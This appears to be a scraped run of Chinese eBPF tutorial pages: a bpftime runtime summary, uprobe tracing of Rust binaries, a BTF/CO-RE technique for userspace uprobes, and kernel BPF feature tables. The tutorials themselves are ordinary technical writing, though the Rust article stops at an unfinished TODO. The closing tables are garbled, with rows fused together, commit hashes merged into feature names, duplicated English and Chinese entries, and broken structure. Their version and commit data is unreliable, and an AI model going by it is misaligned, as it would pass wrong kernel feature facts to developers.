您可以看到原始程序的输出:
$ bpftime load ./example/malloc/malloc
...
12:44:35
pid=247299 malloc calls: 10
pid=247322 malloc calls: 10
或者,您也可以直接在内核eBPF中运行我们的示例eBPF程序,以查看类似的输出:
$ sudo example/malloc/malloc
15:38:05
pid=30415 malloc calls: 1079
pid=30393 malloc calls: 203
pid=29882 malloc calls: 1076
pid=34809 malloc calls: 8
有关更多详细信息,请参阅documents/usage.md。
总结与前景
用户空间的eBPF运行时正在打破边界,将eBPF的能力从内核扩展到了更广阔的领域。这种扩展带来了显著的性能、灵活性和安全性提升。例如,bpftime运行时显示了其在某些低级性能场景下,甚至超越了像 Wasm 这样的其他技术。也有越来越多的应用将用户空间的 eBPF 用于快速补丁、轻量级虚拟化、网络过滤等场景。
Wasm 的主要焦点在于可移植性、轻量级虚拟化、安全性、多语言等等,而 eBPF 则针对那些对性能有严格要求的基础设施任务提供了更多的性能优势和动态插桩特性。选择哪种技术取决于特定的需求和优先级。随着它们的进一步发展,用户空间的eBPF运行时正在成为云原生技术堆栈中的重要部分,为业界带来前所未有的安全、效率和创新的组合。
我们诚邀您深入探索用户空间eBPF的世界,您可以从我们的项目 https://github.com/eunomia-bpf/bpftime 开始。您的贡献、反馈或仅仅是对此工具的使用和 star,都可以为我们的社区带来巨大价值。
若您在研究中采用了我们的
bpftime项目,请引用我们的仓库。我们期待您的宝贵意见和反馈,您可以通过 GitHub 仓库的 issue、邮箱 yunwei356@gmail.com 或微信 yunwei2567 与我们联系。
参考资料
- bpftime: https://github.com/eunomia-bpf/bpftime
- ubpf: https://github.com/iovisor/ubpf
- rbpf: https://github.com/qmonnet/rbpf
- Oko: https://github.com/Orange-OpenSource/Oko
- RapidPatch: Firmware Hotpatching for Real-Time Embedded Devices: https://www.usenix.org/conference/usenixsecurity22/presentation/he-yi
- DPDK eBPF Support: https://www.dpdk.org/wp-content/uploads/sites/35/2018/10/pm-07-DPDK-BPFu6.pdf
- Solana: https://solana.com/
- eBPF for Windows (Work-In-Progress): https://github.com/microsoft/ebpf-for-windows
- Femto-Containers: Lightweight Virtualization and Fault Isolation For Small Software Functions on Low-Power IoT Microcontrollers: https://arxiv.org/abs/2210.03432
eBPF 实践:使用 Uprobe 追踪用户态 Rust 应用
eBPF,即扩展的Berkeley包过滤器(Extended Berkeley Packet Filter),是Linux内核中的一种革命性技术,它允许开发者在内核态中运行自定义的“微程序”,从而在不修改内核代码的情况下改变系统行为或收集系统细粒度的性能数据。
本文讨论如何使用 Uprobe 和 eBPF 追踪用户态 Rust 应用,包括如何获取符号名称并 attach、获取函数参数、获取返回值等。本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到:https://eunomia.dev/tutorials/ 源代码在 GitHub 仓库 中开源。
Uprobe
Uprobe是一种用户空间探针,uprobe探针允许在用户空间程序中动态插桩,插桩位置包括:函数入口、特定偏移处,以及函数返回处。当我们定义uprobe时,内核会在附加的指令上创建快速断点指令(x86机器上为int3指令),当程序执行到该指令时,内核将触发事件,程序陷入到内核态,并以回调函数的方式调用探针函数,执行完探针函数再返回到用户态继续执行后序的指令。
uprobe 适用于在用户态去解析一些内核态探针无法解析的流量,例如 http2 流量,https 流量,同时也可以分析程序运行时、业务逻辑等。关于 Uprobe 的更多信息,可以参考:
- eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据
- eBPF 实践教程:使用 uprobe 捕获 Golang 的协程切换
- eBPF 实践教程:使用 uprobe 捕获用户态 http2 流量
Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 bpftime。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF Uprobe 程序,和内核态的 eBPF 兼容,由于避免了内核态和用户态之间的上下文切换,bpftime 的 Uprobe 开销比内核少约 10 倍,并且也更容易扩展。
Rust
Rust 是一种开源的系统编程语言,注重安全、速度和并行性。它于2010年由Graydon Hoare在Mozilla研究中心开发,并于2015年发布了第一个稳定版本。Rust 语言的设计哲学旨在提供C++的性能优势,同时大幅减少内存安全漏洞。Rust在系统编程领域逐渐受到欢迎,特别是在需要高性能、安全性和可靠性的应用场景,例如操作系统、文件系统、游戏引擎、网络服务等领域。许多大型技术公司,包括Mozilla、Google、Microsoft和Amazon等,都在使用或支持Rust语言。
可以参考 Rust 官方网站 了解更多 Rust 语言的信息,并安装 Rust 的工具链。
最简单的例子:Symbol name mangling
我们先来看一个简单的例子,使用 Uprobe 追踪 Rust 程序的 main 函数,代码如下:
pub fn hello() -> i32 { println!("Hello, world!"); 0 } fn main() { hello(); }
构建和尝试获取符号:
$ cd helloworld
$ cargo build
$ nm helloworld/target/release/helloworld | grep hello
0000000000008940 t _ZN10helloworld4main17h2dce92cb81426b91E
我们会发现,对应的符号被转换为了 _ZN10helloworld4main17h2dce92cb81426b91E,这是因为 rustc 使用 Symbol name mangling 来为代码生成过程中使用的符号编码一个唯一的名称。编码后的名称会被链接器用于将名称与所指向的内容关联起来。可以使用 -C symbol-mangling-version 选项来控制符号名称的处理方法。
我们可以使用 rustfilt 工具来解析和获取对应的符号:
$ cargo install rustfilt
$ nm helloworld/target/release/helloworld > name.txt
$ rustfilt _ZN10helloworld4main17h2dce92cb81426b91E
helloworld::main
$ rustfilt -i name.txt | grep hello
0000000000008b60 t helloworld::main
接下来我们可以尝试使用 bpftrace 跟踪对应的函数:
$ sudo bpftrace -e 'uprobe:helloworld/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }'
Attaching 1 probe...
Function hello-world called
一个奇怪的现象:多次调用、获取参数
对于一个更复杂的例子,包含多次调用和获取参数:
use std::env; pub fn hello(i: i32, len: usize) -> i32 { println!("Hello, world! {} in {}", i, len); i + len as i32 } fn main() { let args: Vec<String> = env::args().collect(); // Skip the first argument, which is the path to the binary, and iterate over the rest for arg in args.iter().skip(1) { match arg.parse::<i32>() { Ok(i) => { let ret = hello(i, args.len()); println!("return value: {}", ret); } Err(_) => { eprintln!("Error: Argument '{}' is not a valid integer", arg); } } } }
我们再次进行类似的操作,会发现一个奇怪的现象:
$ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called\n"); }'
Attaching 1 probe...
Function hello-world called
这时候我们希望 hello 函数运行多次,但 bpftrace 中只输出了一次调用:
$ args/target/release/helloworld 1 2 3 4
Hello, world! 1 in 5
return value: 6
Hello, world! 2 in 5
return value: 7
Hello, world! 3 in 5
return value: 8
Hello, world! 4 in 5
return value: 9
而且看起来 bpftrace 并不能正确获取参数:
$ sudo bpftrace -e 'uprobe:args/target/release/helloworld:_ZN10helloworld4main17h2dce92cb81426b91E { printf("Function hello-world called %d\n"
, arg0); }'
Attaching 1 probe...
Function hello-world called 63642464
Uretprobe 捕捉到了第一次调用的返回值:
$ sudo bpftrace -e 'uretprobe:args/tar
get/release/helloworld:_ZN10helloworld4main17h2dce92
cb81426b91E { printf("Function hello-world called %d
\n", retval); }'
Attaching 1 probe...
Function hello-world called 6
这可能是由于 Rust 没有稳定的 ABI。 Rust,正如它迄今为止所存在的那样,保留了以任何它想要的方式对这些结构成员进行排序的权利。 因此,被调用者的编译版本可能会完全按照上面的方式对成员进行排序,而调用库的编程的编译版本可能会认为它实际上是这样布局的:
TODO: 进一步分析(未完待续)
参考资料
借助 eBPF 和 BTF,让用户态也能一次编译、到处运行
在现代 Linux 系统中,eBPF(扩展的 Berkeley Packet Filter)是一项强大而灵活的技术。它允许在内核中运行沙盒化程序,类似于虚拟机环境,为扩展内核功能提供了一种既安全又不会导致系统崩溃或安全风险的方法。
eBPF 中的 “co-re” 代表“一次编译、到处运行”。这是其关键特征之一,用于解决 eBPF 程序在不同内核版本间兼容性的主要挑战。eBPF 的 CO-RE 功能可以实现在不同的内核版本上运行同一 eBPF 程序,而无需重新编译。
利用 eBPF 的 Uprobe 功能,可以追踪用户空间应用程序并访问其内部数据结构。然而,用户空间应用程序的 CO-RE 实践目前尚不完善。本文将介绍一种新方法,利用 CO-RE 为用户空间应用程序确保 eBPF 程序在不同应用版本间的兼容性,从而避免了多次编译的需求。例如,在从加密流量中捕获 SSL/TLS 明文数据时,你或许不需要为每个版本的 OpenSSL 维护一个单独的 eBPF 程序。
为了在用户空间应用程序中实现eBPF的“一次编译、到处运行”(Co-RE)特性,我们需要利用BPF类型格式(BTF)来克服传统eBPF程序的一些限制。这种方法的关键在于为用户空间程序提供与内核类似的类型信息和兼容性支持,从而使得eBPF程序能够更灵活地应对不同版本的用户空间应用和库。
本文是eBPF开发者教程的一部分,详细内容可访问https://eunomia.dev/tutorials/。本文完整的代码请查看 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe 。
为什么我们需要CO-RE?
- 内核依赖性:传统的eBPF程序和它们被编译的特定Linux内核版本紧密耦合。这是因为它们依赖于内核的特定内部数据结构和API,这些可能在内核版本间变化。
- 可移植性问题:如果你想在带有不同内核版本的不同Linux系统上运行一个eBPF程序,你通常需要为每个内核版本重新编译eBPF程序,这是一个麻烦而低效的过程。
Co-RE的解决方案
- 抽象内核依赖性:Co-RE使eBPF程序更具可移植性,通过使用BPF类型格式(BTF)和重定位来抽象特定的内核依赖。
- BPF类型格式(BTF):BTF提供了关于内核中数据结构和函数的丰富类型信息。这些元数据允许eBPF程序在运行时理解内核结构的布局。
- 重定位:编译支持Co-RE的eBPF程序包含在加载时解析的重定位。这些重定位根据运行内核的实际布局和地址调整程序对内核数据结构和函数的引用。
Co-RE的优点
- 编写一次,任何地方运行:编译有Co-RE的eBPF程序可以在不同的内核版本上运行,无需重新编译。这大大简化了在多样环境中部署和维护eBPF程序。
- 安全和稳定:Co-RE保持了eBPF的安全性,确保程序不会导致内核崩溃,遵守安全约束。
- 简单的开发:开发者不需要关注每个内核版本的具体情况,这简化了eBPF程序的开发。
用户空间应用程序CO-RE的问题
eBPF也支持追踪用户空间应用程序。Uprobe是一个用户空间探针,允许对用户空间程序进行动态仪表装置。探针位置包括函数入口、特定偏移和函数返回。
BTF是为内核设计的,生成自vmlinux,它可以帮助eBPF程序方便地兼容不同的内核版本。但是,用户空间应用程序也需要CO-RE。例如,SSL/TLS uprobe被广泛用于从加密流量中捕获明文数据。它是用用户空间库实现的,如OpenSSL、GnuTLS、NSS等。用户空间应用程序和库也有各种版本,如果我们需要为每个版本编译和维护eBPF程序,那就会很复杂。
下面是一些新的工具和方法,可以帮助我们为用户空间应用程序启用CO-RE。
用户空间程序的BTF
这是一个简单的uprobe例子,它可以捕获用户空间程序的add_test函数的调用和参数。你可以在uprobe.bpf.c中添加#define BPF_NO_PRESERVE_ACCESS_INDEX来确保eBPF程序可以在没有struct data的BTF的情况下编译。
#define BPF_NO_GLOBAL_DATA
#define BPF_NO_PRESERVE_ACCESS_INDEX
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
struct data {
int a;
int c;
int d;
};
SEC("uprobe/examples/btf-base:add_test")
int BPF_UPROBE(add_test, struct data *d)
{
int a = 0, c = 0;
bpf_probe_read_user(&a, sizeof(a), &d->a);
bpf_probe_read_user(&c, sizeof(c), &d->c);
bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c);
return a + c;
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
然后,我们有两个不同版本的用户空间程序,examples/btf-base和examples/btf-base-new。两个版本中的struct data是不同的。
examples/btf-base:
// use a different struct
struct data {
int a;
int c;
int d;
};
int add_test(struct data *d) {
return d->a + d->c;
}
int main(int argc, char **argv) {
struct data d = {1, 3, 4};
printf("add_test(&d) = %d\n", add_test(&d));
return 0;
}
examples/btf-base-new:
struct data {
int a;
int b;
int c;
int d;
};
int add_test(struct data *d) {
return d->a + d->c;
}
int main(int argc, char **argv) {
struct data d = {1, 2, 3, 4};
printf("add_test(&d) = %d\n", add_test(&d));
return 0;
}
我们可以使用pahole和clang来生成每个版本的btf。制作示例并生成btf:
make -C example # it's like: pahole --btf_encode_detached base.btf btf-base.o
然后我们执行eBPF程序和用户空间程序。 对于 btf-base:
sudo ./uprobe examples/btf-base
也是用户空间程序:
$ examples/btf-base
add_test(&d) = 4
我们将看到:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe\
<...>-25458 [000] ...11 27694.081465: bpf_trace_printk: add_test(&d) 1 + 3 = 4
对于 btf-base-new:
sudo ./uprobe examples/btf-base-new
同时也是用户空间程序:
$ examples/btf-base-new
add_test(&d) = 4
但我们可以看到:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe\
<...>-25809 [001] ...11 27828.314224: bpf_trace_printk: add_test(&d) 1 + 2 = 3
结果是不同的,因为两个版本中的struct data是不同的。eBPF程序无法与不同版本的用户空间程序兼容,我们获取到了错误的结构体偏移量,也会导致我们追踪失败。
使用用户空间程序的BTF
在uprobe.bpf.c中注释掉#define BPF_NO_PRESERVE_ACCESS_INDEX ,以确保eBPF程序可以以struct data的BTF编译。
#define BPF_NO_GLOBAL_DATA
// #define BPF_NO_PRESERVE_ACCESS_INDEX
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#ifndef BPF_NO_PRESERVE_ACCESS_INDEX
#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record)
#endif
struct data {
int a;
int c;
int d;
};
#ifndef BPF_NO_PRESERVE_ACCESS_INDEX
#pragma clang attribute pop
#endif
SEC("uprobe/examples/btf-base:add_test")
int BPF_UPROBE(add_test, struct data *d)
{
int a = 0, c = 0;
bpf_probe_read_user(&a, sizeof(a), &d->a);
bpf_probe_read_user(&c, sizeof(c), &d->c);
bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c);
return a + c;
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
struct data的记录在eBPF程序中被保留下来。然后,我们可以使用 btf-base.btf来编译eBPF程序。
将用户btf与内核btf合并,这样我们就有了一个完整的内核和用户空间的btf:
./merge-btf /sys/kernel/btf/vmlinux examples/base.btf target-base.btf
然后我们使用用户空间程序执行eBPF程序。 对于 btf-base:
$ sudo ./uprobe examples/btf-base target-base.btf
...
libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0
libbpf: prog 'add_test': relo #2: <byte_off> [7] struct data.c (0:1 @ offset 4)
libbpf: prog 'add_test': relo #2: matching candidate #0 <byte_off> [133110] struct data.c (0:1 @ offset 4)
libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 4
...
执行用户空间程序并获取结果:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
[sudo] password for yunwei37:
<...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4
还可以对另一个版本的用户空间程序btf-base-new做同样的操作:
$ ./merge-btf /sys/kernel/btf/vmlinux examples/base-new.btf target-base-new.btf
$ sudo ./uprobe examples/btf-base-new target-base-new.btf
....
libbpf: sec 'uprobe/examples/btf-base:add_test': found 3 CO-RE relocations
libbpf: CO-RE relocating [2] struct pt_regs: found target candidate [357] struct pt_regs in [vmlinux]
libbpf: prog 'add_test': relo #0: <byte_off> [2] struct pt_regs.di (0:14 @ offset 112)
libbpf: prog 'add_test': relo #0: matching candidate #0 <byte_off> [357] struct pt_regs.di (0:14 @ offset 112)
libbpf: prog 'add_test': relo #0: patched insn #0 (LDX/ST/STX) off 112 -> 112
libbpf: CO-RE relocating [7] struct data: found target candidate [133110] struct data in [vmlinux]
libbpf: prog 'add_test': relo #1: <byte_off> [7] struct data.a (0:0 @ offset 0)
libbpf: prog 'add_test': relo #1: matching candidate #0 <byte_off> [133110] struct data.a (0:0 @ offset 0)
libbpf: prog 'add_test': relo #1: patched insn #4 (ALU/ALU64) imm 0 -> 0
libbpf: prog 'add_test': relo #2: <byte_off> [7] struct data.c (0:1 @ offset 4)
libbpf: prog 'add_test': relo #2: matching candidate #0 <byte_off> [133110] struct data.c (0:2 @ offset 8)
libbpf: prog 'add_test': relo #2: patched insn #11 (ALU/ALU64) imm 4 -> 8
libbpf: elf: symbol address match for 'add_test' in 'examples/btf-base-new': 0x1140
Successfully started! Press Ctrl+C to stop.
结果是正确的:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe
[sudo] password for yunwei37:
<...>-26740 [001] ...11 28180.156220: bpf_trace_printk: add_test(&d) 1 + 3 = 4
我们的 eBPF 追踪程序也几乎不需要进行任何修改,只需要把包含 kernel 和用户态结构体偏移量的 BTF 加载进来即可。这和旧版本内核上没有 btf 信息的使用方式是一样的:
LIBBPF_OPTS(bpf_object_open_opts , opts,
);
LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts);
if (argc != 3 && argc != 2) {
fprintf(stderr, "Usage: %s <example-name> [<external-btf>]\n", argv[0]);
return 1;
}
if (argc == 3)
opts.btf_custom_path = argv[2];
/* Set up libbpf errors and debug info callback */
libbpf_set_print(libbpf_print_fn);
/* Cleaner handling of Ctrl-C */
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
/* Load and verify BPF application */
skel = uprobe_bpf__open_opts(&opts);
if (!skel) {
fprintf(stderr, "Failed to open and load BPF skeleton\n");
return 1;
}
实际上,btf 实现重定向需要两个部分,一个是 bpf 程序带的编译时的 btf 信息,一个是内核的 btf 信息。在实际加载 ebpf 程序的时候,libbpf 会根据当前内核上准确的 btf 信息,来修改可能存在错误的 ebpf 指令,确保在不同内核版本上能够兼容。
有趣的是,实际上 libbpf 并不区分这些 btf 信息来自用户态程序还是内核,因此我们只要把用户态的重定向信息一起提供给 libbpf 进行重定向,问题就解决了。
本文的工具和完整的代码在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/38-btf-uprobe 开源。
结论
- 灵活性和兼容性:在用户空间eBPF程序中使用 BTF 大大增强了它们在不同版本的用户空间应用程序和库之间的灵活性和兼容性。
- 简化了复杂性:这种方法显著减少了维护不同版本的用户空间应用程序的eBPF程序的复杂性,因为它消除了需要多个程序版本的需要。
- 更广泛的应用:这种方法在性能监控、安全和用户空间应用程序的调试等方面也可能能有更广泛的应用。bpftime(https://github.com/eunomia-bpf/bpftime) 是一个开源的基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容。它在支持 uprobe、syscall trace 和一般的插件扩展的同时,避免了内核态和用户态之间的上下文切换,从而提高了 uprobe 程序的执行效率。借助 libbpf 和 btf 的支持,bpftime 也可以更加动态的扩展用户态应用程序,实现在不同用户态程序版本之间的兼容性。
这个示例展示了 eBPF 在实践中可以将其强大的 CO-RE 功能扩展到更动态地处理用户空间应用的不同版本变化。
如果你想了解更多关于eBPF知识和实践,你可以访问我们的教程代码库https://github.com/eunomia-bpf/bpf-developer-tutorial或者网站https://eunomia.dev/tutorials/获得更多示例和完整教程。
Linux 内核版本的 BPF 功能
eBPF支持
| 内核版本 | 提交 |
|---|---|
| 3.15 | bd4cf0ed331a |
JIT编译
可以使用以下命令获取内核支持的体系结构列表:
git grep HAVE_EBPF_JIT arch/
| 功能 / 体系结构 | 内核版本 | 提交 |
|---|---|---|
| x86_64 | 3.16 | 622582786c9e |
| ARM64 | 3.18 | e54bcde3d69d |
| s390 | 4.1 | 054623105728 |
| JIT机器的常量混淆 | 4.7 | 4f3446bb809f |
| PowerPC64 | 4.8 | 156d0e290e96 |
| 常量混淆 - PowerPC64 | 4.9 | b7b7013cac55 |
| Sparc64 | 4.12 | 7a12b5031c6b |
| MIPS | 4.13 | f381bf6d82f0 |
| ARM32 | 4.14 | 39c13c204bb1 |
| x86_32 | 4.18 | 03f5781be2c7 |
| RISC-V RV64G | 5.1 | 2353ecc6f91fRISC-V RV32G |
| PowerPC32 | 5.13 | 51c66ad849a7 |
| LoongArch | 6.1 | 5dc615520c4d |
主要特性
其中几个(但不是全部)主要特性 可以转换为 eBPF 程序类型。
您的内核支持的此类程序类型的列表可以在文件 include/uapi/linux/bpf.h 中找到:
git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h
| 特性 | 内核版本 | 提交 |
|---|---|---|
AF_PACKET (libpcap/tcpdump, cls_bpf 分类器, netfilter 的 xt_bpf, team 驱动程序的负载均衡模式…) | 3.15 | bd4cf0ed331a |
| 内核助手 | 3.15 | bd4cf0ed331a |
bpf() 系统调用 | 3.18 | 99c55f7d47c0 |
| Maps (又名 表; 详见下文) | 3.18 | 99c55f7d47c0 |
| BPF 附加到套接字 | 3.19 | 89aa075832b0 |
BPF 附加到 kprobes | 4.1 | 2541517c32be |
cls_bpf / act_bpf 用于 tc | 4.1 | e2e9b6541dd4 |
| 尾调用 | 4.2 | 04fd61ab36ec非根程序上的套接字 |
| 持久映射和程序(虚拟文件系统) | 4.4 | b2197755b263 |
tc的direct-action(da)模式 | 4.4 | 045efa82ff56 |
tc的clsactqdisc | 4.5 | 1f211a1b929c |
| BPF连接到跟踪点 | 4.7 | 98b5c2c65c29 |
| 直接数据包访问 | 4.7 | 969bf05eb3ce |
| XDP(参见下文) | 4.8 | 6a773a15a1e8 |
| BPF连接到性能事件 | 4.9 | 0515e5999a46 |
tc的cls_bpf的硬件卸载 | 4.9 | 332ae8e2f6ec |
| 验证器暴露和内部钩子 | 4.9 | 13a27dfc6697 |
| BPF连接到 cgroups 用于套接字过滤 | 4.10 | 0e33661de493 |
| 轻量级隧道封装 | 4.10 | 3a0af8fd61f9 |
eBPF对xt_bpf模块(iptables)的支持 | 4.10 | 2c16d6033264 |
| BPF程序标签 | 4.10 | 7bd509e311f4跟踪点以调试BPF |
| 测试/基准测试BPF程序 | 4.12 | 1cf1cae963c2 |
| BPF程序和映射ID | 4.13 | dc4bb0e23561 |
BPF对sock_ops的支持 | 4.13 | 40304b2a1567 |
| BPF对套接字上的skb的支持 | 4.14 | b005fd189cec |
| 内核源码中的bpftool实用程序 | 4.15 | 71bb428fe2c1 |
| BPF附加到cgroups作为设备控制器 | 4.15 | ebc614f68736 |
| bpf2bpf函数调用 | 4.16 | cc8b0b92a169 |
| BPF用于监视套接字RX/TX数据 | 4.17 | 4f738adba30a |
| BPF附加到原始跟踪点 | 4.17 | c4f6699dfcb8 |
BPF附加到bind()系统调用 | 4.17 | 4fbac77d2d09 aac3fc320d94 |
BPF附加到connect()系统调用 | 4.17 | d74bad4e74eeBPF 类型格式(BTF) |
| AF_XDP | 4.18 | fbfc504a24f5 |
| bpfilter | 4.18 | d2ba09c17a06 |
| seg6local LWT 的 End.BPF 操作 | 4.18 | 004d4b274e2a |
| BPF 附加到 LIRC 设备 | 4.18 | f4364dcfc86d |
| 将映射值传递给映射助手 | 4.18 | d71962f3e627 |
| BPF 套接字复用端口 | 4.19 | 2dbb9b9e6df6 |
| BPF 流解剖器 | 4.20 | d58e468b1112 |
| BPF 1M 指令限制 | 5.2 | c04c0d2b968a |
| BPF 控制组 sysctl | 5.2 | 7b146cebe30c |
| BPF 原始跟踪点可写 | 5.2 | 9df1c28bb752 |
| BPF 有界循环 | 5.3 | 2589726d12a1 |
| BPF 跳板 | 5.5 | fec56f5890d9 |
| BPF LSM 钩子 | 5.7 | fc611f47f218 641cd7b06c91 |
| BPF 迭代器 | 5.8 | 180139dca8b3BPF套接字查找挂钩 |
| 可睡眠的BPF程序 | 5.10 | 1e6c62a88215 |
程序类型
| 程序类型 | 内核版本 | 提交 | 枚举 |
|---|---|---|---|
| 套接字过滤器 | 3.19 | ddd872bc3098 | BPF_PROG_TYPE_SOCKET_FILTER |
| Kprobe | 4.1 | 2541517c32be | BPF_PROG_TYPE_KPROBE |
| 流量控制(TC) | 4.1 | 96be4325f443 | BPF_PROG_TYPE_SCHED_CLS |
| 流量控制(TC) | 4.1 | 94caee8c312d | BPF_PROG_TYPE_SCHED_ACT |
| 跟踪点 | 4.7 | 98b5c2c65c29 | BPF_PROG_TYPE_TRACEPOINT |
| XDP | 4.8 | 6a773a15a1e8 | BPF_PROG_TYPE_XDP |
| 性能事件 | 4.9 | 0515e5999a46 | BPF_PROG_TYPE_PERF_EVENT |
| cgroup套接字过滤 | 4.10 | 0e33661de493 | BPF_PROG_TYPE_CGROUP_SKB |
| cgroup套接字修改 | 4.10 | 610236587600 | BPF_PROG_TYPE_CGROUP_SOCK |
| 轻量级隧道(IN) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_IN".lightweight tunnel (OUT) |
| 轻量级隧道 (OUT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_OUT |
lightweight tunnel (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT
轻量级隧道 (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT
cgroup sock ops (per conn) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS
cgroup sock操作 (每个连接) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS
stream parser / stream verdict | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB
流分析器 / 流判定 | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB
cgroup device manager | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE
cgroup设备管理器 | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE
socket msg verdict | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG
套接字消息判定 | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG
Raw tracepoint | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT
裸跟踪点 | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT
socket binding | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR
套接字绑定 | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR
LWT seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL
轻量级隧道seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL
lirc devices | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2
lirc设备 | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2
lookup SO_REUSEPORT socket | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT
查找SO_REUSEPORT套接字 | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT
flow dissector | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTOR
流解析器 | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL
可控 cgroup | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL
writable raw tracepoints | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE
可写原始跟踪点 | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE
cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT
cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT
Tracing (BTF/BPF trampoline) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING
追踪 (BTF/BPF 弹跳) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING
struct ops | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS
结构操作 | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS
extensions | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT
扩展 | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT
LSM | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM
LSM (Linux安全模块) | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM
lookup listening socket | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP
查询监听套接字 | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP
Allow executing syscalls | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL
允许执行系统调用 | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL
Map types (a.k.a. 表格, 在 BCC 术语中)
Map 类型
您内核支持的 Map 类型列表可以在文件 include/uapi/linux/bpf.h 中找到:
git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h
| Map 类型 | 内核版本 | 提交 | 枚举 |
|---|---|---|---|
| 哈希 | 3.19 | 0f8e4bd8a1fc | BPF_MAP_TYPE_HASH".Array |
| Prog array | 4.2 | 04fd61ab36ec | BPF_MAP_TYPE_PROG_ARRAY |
| Perf events | 4.3 | ea317b267e9d | BPF_MAP_TYPE_PERF_EVENT_ARRAY |
| Per-CPU hash | 4.6 | 824bd0ce6c7c | BPF_MAP_TYPE_PERCPU_HASH |
| Per-CPU array | 4.6 | a10423b87a7e | BPF_MAP_TYPE_PERCPU_ARRAY |
| Stack trace | 4.6 | d5a3b1f69186 | BPF_MAP_TYPE_STACK_TRACE |
| cgroup array | 4.8 | 4ed8ec521ed5 | BPF_MAP_TYPE_CGROUP_ARRAY |
| LRU hash | 4.10 | 29ba732acbee 3a08c2fd7634 | BPF_MAP_TYPE_LRU_HASH |
| LRU per-CPU hash | 4.10 | 8f8449384ec3 961578b63474 | BPF_MAP_TYPE_LRU_PERCPU_HASH |
